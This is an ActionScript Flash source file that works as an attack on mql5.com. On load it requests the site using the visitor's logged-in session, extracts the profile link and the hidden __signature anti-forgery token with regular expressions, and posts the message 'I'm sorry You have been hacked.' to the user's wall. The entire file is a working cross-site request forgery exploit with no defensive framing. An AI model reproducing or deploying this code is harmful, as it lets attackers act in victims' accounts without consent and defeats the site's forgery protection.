package 
{
    import flash.display.Sprite; 
    import flash.events.Event; 
    import flash.net.URLLoader;  
    import flash.net.URLRequest;    
    import flash.net.URLRequestMethod;  
    import flash.text.TextField;
    import flash.display.Sprite;
    import mx.utils.StringUtil;


    public class Main extends Sprite 
    { 
        private namespace matchData; // match, sliceStart, sliceEnd
        matchData var mainMenuProfileLink : Array = 
            new Array ( /['\"]mainMenuProfileLink['\"]><a href=[\"'](.*?)['\"]><span>/, 31, -8);   
		matchData var newsToken : Array = 
            new Array ( /<input type=['\"]hidden['\"] name=['\"]__signature['\"] value=['\"](.*?)['\"]\/>/, 47, -3); 
            
        
        private namespace siteLinks;
        siteLinks var mainSiteLink : String = "https://www.mql5.com/en";
		siteLinks var profileLink : String = "";
        siteLinks var newsLink : String = "";
		siteLinks var wallLink : String = "";
        
        
        private namespace siteMap;
        siteMap var newsPage : String = "/news";
		siteMap var wallPage : String = "/wall"
        
        
        private namespace requestParameters;
		requestParameters var newsContent : String = "I'm sorry You have been hacked."
        requestParameters var publishNews : String = "__signature={0}&content={1}";
		
		
            
        public function Main() : void 
        {  
            var siteUrl : String = siteLinks::mainSiteLink;
            GetUrlAndParse (siteUrl, ParseProfileLink);
        } 
        
        private function ParseProfileLink (event : Event) : void  
        {  
        
            var eventData : String = event.target.data;            
            var link : String = MatchDataAndSlice (eventData, matchData::mainMenuProfileLink);
            if (link == null || link == "")
                return;
                
            siteLinks::profileLink = NormalizeLink (link, siteLinks::mainSiteLink);          
			siteLinks::profileLink = siteLinks::profileLink.toLowerCase();		
            siteLinks::newsLink =  siteLinks::profileLink + siteMap::newsPage;
			siteLinks::wallLink = siteLinks::profileLink + siteMap::wallPage;
            
            var siteUrl : String = siteLinks::newsLink;
            GetUrlAndParse (siteUrl, ParseTokenAndPostNews);
        }  
        
        private function ParseTokenAndPostNews (event : Event) : void  
        {  
            var eventData : String = event.target.data;            
            var signature : String = MatchDataAndSlice (eventData, matchData::newsToken);
            if (signature == null || signature == "")
                return;
            
            var data : String = publishNewsData (signature, encodeURIComponent(requestParameters::newsContent));  
            SendPostMessage (siteLinks::wallLink, data);           
        }       
		
		private function publishNewsData (signature : String, content : String) : String
        {
            return StringUtil.substitute(requestParameters::publishNews, signature, content);
        }
		
        
        private function SendPostMessage (site : String, data : String) : void
        {
            
            var request : URLRequest = new URLRequest(site);  
            request.data = data;
            request.method = URLRequestMethod.POST;  
			
            var loader:URLLoader = new URLLoader();    
            try{
                loader.load(request);
            }
            catch (e : Error){
            }
        }
        
        private function GetUrlAndParse (siteUrl : String, parser : Function = null) : void 
        {            
            var request : URLRequest = new URLRequest(siteUrl);
            var loader : URLLoader = new URLLoader(); 
            
            if (parser != null){
                loader.addEventListener(Event.COMPLETE, parser);             
            }            
            try{
                loader.load(request);
            }
            catch (e : Error){
            }
        }
        
        private function MatchDataAndSlice (data : String, matchArr : Array, getMatchNumber : Number = 0) : String {  
            var matchDataArray : Array = data.match(matchArr[0]);
            if (matchDataArray.length < getMatchNumber){
                return null
            }
            
            var matchData : String = matchDataArray[getMatchNumber];
            if (matchData.length < 0){  
                return null;
            }             
            
            matchData = matchData.slice(matchArr[1], matchArr[2]);   
            return matchData
        }
        
        private function NormalizeLink (link : String, mainLink : String) : String 
        {
            var result : String = link;
            if (link.indexOf("http") < 0){
                if (mainLink.charAt(mainLink.length - 1) == "/" || mainLink.charAt(mainLink.length - 1) == "\\"){
                    if (link.charAt(0) == "/" || link.charAt(0) == "\\"){
                        result = mainLink + link.slice(1);
                    } else{
                        result = mainLink + link;
                    }
                } else{           
                    if (link.charAt(0) == "/" || link.charAt(0) == "\\"){
                        result = mainLink + link;
                    } else{
                        result = mainLink + "/" + link;
                    }
                }                
            }                
            return result;
        }
    } 
}